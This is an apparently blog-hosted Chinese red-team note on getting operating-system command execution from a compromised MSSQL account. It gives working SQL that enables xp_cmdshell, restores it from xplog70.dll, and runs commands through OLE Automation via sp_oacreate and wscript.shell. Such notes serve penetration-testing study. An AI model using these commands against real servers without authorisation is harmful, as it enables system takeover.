0x00 前言
在渗透测试或红队行动中,一旦获取到 Microsoft SQL Server(MSSQL)的数据库访问权限,若权限足够高,攻击者可利用其内置功能实现操作系统命令执行。
0x01 前置条件
MSSQL 默认不启用命令执行功能,需满足以下条件之一:
- 当前数据库用户具有 sysadmin (sa) 服务器角色;
- 启用了 xp_cmdshell 扩展存储过程;
- 具备 CONTROL SERVER 权限(SQL Server 2005+);
0x02 常见命令执行方式
xp_cmdshell(最经典)
xp_cmdshell
是 MSSQL 提供的用于执行操作系统命令的扩展存储过程。
1、启用 xp_cmdshell(需高权限)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
![图片[1] - 【笔记】MSSQL 命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/10/image-2.png)
2、命令执行
EXEC xp_cmdshell 'whoami';
OR
exec master..xp_cmdshell 'whoami';
![图片[2] - 【笔记】MSSQL 命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/10/image-3.png)
⚠️ 若xp_cmdshell被删除可以使用以下命令恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll'
sp_oacreate
在执行命令或写入文件时都需要用到 sp_oacreate
,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures
” 组件。
如果 xp_cmdshell
组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE exec
master.dbo.sp_configure 'Ole Automation Procedures', 1 //1为开,0为关
RECONFIGURE
![图片[3] - 【笔记】MSSQL 命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/10/image-4.png)
⚠️注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'whoami >C:\Users\Public\Documents\1.txt';
![图片[4] - 【笔记】MSSQL 命令执行 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/10/image-5.png)
引用
THE END
暂无评论内容